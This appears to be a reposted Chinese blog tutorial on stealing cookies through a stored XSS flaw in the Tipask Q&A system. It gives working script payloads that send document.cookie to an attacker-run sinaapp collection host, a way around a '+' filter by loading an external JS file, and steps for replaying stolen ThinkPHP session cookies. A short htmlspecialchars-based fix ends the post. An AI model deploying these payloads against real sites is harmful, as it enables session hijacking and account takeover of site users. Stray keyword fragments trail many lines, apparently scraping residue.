【web安全】第一彈:利用xss注入獲取cookie

首先必定要先來吐槽一下tipask系統。這是一枚開源的相似百度知道的系統,可是漏洞多多,最基本的XSS注入都沒法防護。php

言歸正傳:html

【準備1】 cookie接收服務器。 平時喜歡用sae,因此在sae上寫了一個get方法傳值的頁面,獲取到的數據存儲進數據庫。chrome

數據表結構很簡單thinkphp

 

其中time,ip,pre_url均可以沒有。數據庫

頁面代碼以下瀏覽器

實際應用像下面這樣:php框架

訪問連接:http://xxx.sinaapp.com/?cookie=xxxx;服務器

xxxx的內容就會自動存入數據庫。cookie

【準備2】利用xss漏洞截取用戶的cookieapp

輸入內容

<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie</script>

提交後發現沒反應,審查元素:

<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie=' document.cookie</script>

發現代碼被瀏覽器處理過了:把加號給過濾掉了。怎麼處理呢?

答案是:引入外部js文件!!

仍是在剛纔的文本框輸入: 

<script src='http://xxx.sinaapp.com/js/test.js'></script>

js文件內容:window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie;

【Go!】

當用戶訪問被XSS注入的頁面時,會自動引入test.js文件,這個文件裏包含的js語句,會讀取頁面的cookie,而後訪問一個get傳值的頁面,cookie就會自動存儲到數據庫中了~

【得到cookie以後】

win7下的cookie存儲方式比較特別,xxxx.txt,根本分不清哪一個是哪一個,因而樓主給chrome瀏覽器裝了個插件,EditThisCookie,能夠在瀏覽器上對cookie進行讀取,刪除,修改操做。

tipask用了thinkphp框架,ThinkPHP保存cookie時有兩個關鍵值,tp_auth和tp_sid,更新了這兩個值就能獲取登陸狀態了。可是,咳咳,ThinkPHP框架把tp_auth的值設置了和IP綁定,因此即便你拿到cookie,若是cookie不匹配,也P用不中~可是,咳咳咳,此處獲取的cookie可不僅tipask系統的cookie,而是tipask系統所在IP地址全部應用的cookie..好比說,xxx.xxx.edu.cn對應是dz論壇,xxx.xxx.edu.cn/zhidao對應的tipask,那麼獲取的cookie既有tipask的,也有dz論壇的。因此~

【xss注入初步解決方案】

1. 防止xss注入的原理,就是對用戶輸入的富文本進行html encode

PHP環境下處理函數以下:

function re_xss($list)
{
    if(is_array($list))
        foreach ($list as $key => $value) 
        {
            foreach ($value as $keys => $values) 
            {
                $list[$key][$keys]=htmlspecialchars($values);
            }
        }
    else
        $list=htmlspecialchars($list);
    return $list;
}

2. 防止cookie被竊取的原理,就是像ThinkPHP,把cookie和IP地址綁定,或者和其餘惟一值綁定。

相關文章
相關標籤/搜索